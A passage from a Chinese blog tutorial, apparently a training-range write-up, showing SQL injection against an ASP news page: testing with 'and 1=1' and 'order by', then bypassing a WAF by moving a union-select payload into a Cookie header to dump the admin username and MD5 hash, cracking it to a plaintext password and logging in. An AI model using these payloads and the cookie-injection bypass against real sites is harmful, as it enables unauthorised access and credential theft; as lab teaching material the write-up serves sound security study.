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第二章第二章  遇到阻难！绕过遇到阻难！绕过WAF过滤！过滤！

 1、检测是否存在sql注入点

点击网页一个动态：

https://blog.csdn.net/wanglinyp
https://blog.csdn.net/wanglinyp/category_9831652.html
https://so.csdn.net/so/search/s.do?q=web&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/wanglinyp/article/details/105191626
https://blog.csdn.net/wanglinyp/category_9831652.html
https://hack.zkaq.cn/


url:http://59.63.200.79:8004/shownews.asp?id=171 and 1=1

在地址栏输入上述url(url:之后的部分）之后的部分）  

 可以看出靶场对部分sql语句进行了过滤，因此再次采用order尝试

2、直接尝试检测字段数

url:http://59.63.200.79:8004/shownews.asp?id=171 order by 11
url:http://59.63.200.79:8004/shownews.asp?id=171 order by 10



添加order by 11后页面出现错误，输入order by 10时，页面正常显示（可以从1开始尝试），因此，可以推测出
页面存在sql注入且字段数为10。

3、寻找回显点

猜测数据库中可能存在admin表,直接拼接查询进行尝试

url:http://59.63.200.79:8004/shownews.asp?id=171 union select 1,2,3,4,5,6,7,8,9,10 from admin--

很明显查询语句被检测到了。

4、尝试cookie注入

因为网页一般只拦截GET、POST传参，因此，可以借助本地cookie进行尝试，这里需要借助火狐浏览器（或者
谷歌）的ModHeader插件。

去掉网页url中的id信息后继续访问网页

url:http://59.63.200.79:8004/shownews.asp



发现出现报错。 

打开浏览器右上角的ModHeader，点击ModHeader右上角加号添加RequestHeader,name为：Cookie,value
为：id=171,并勾选

刷新网页，发现可以正常访问，所以可以判断该网站借助Cookie进行传参，且数据库中存在admin表。

尝试将查询语句放到Cookie中进行尝试，在ModHeader中添加新的Cookie,value设置为如下：

id=171+union+select+1,2,3,4,5,6,7,8,9,10+from+admin

 



 可见存在如下几处回显点

利用回显点进行注入查询，ModHeader添加新的Cookie,value设置如下：

id=171+union+select+1,username,password,4,5,6,7,8,9,10+from+admin

结果显示用户名为：admin，密码： b9a2a2b5dffb918c，密码那么复杂应该是加密后的密文，复制密文，百度
搜索md5,对密文进行在线转换：

可见，密码为welcome

最后通过admin进行登录：

url:http://59.63.200.79:8004/shownews.asp



输入账号密码：
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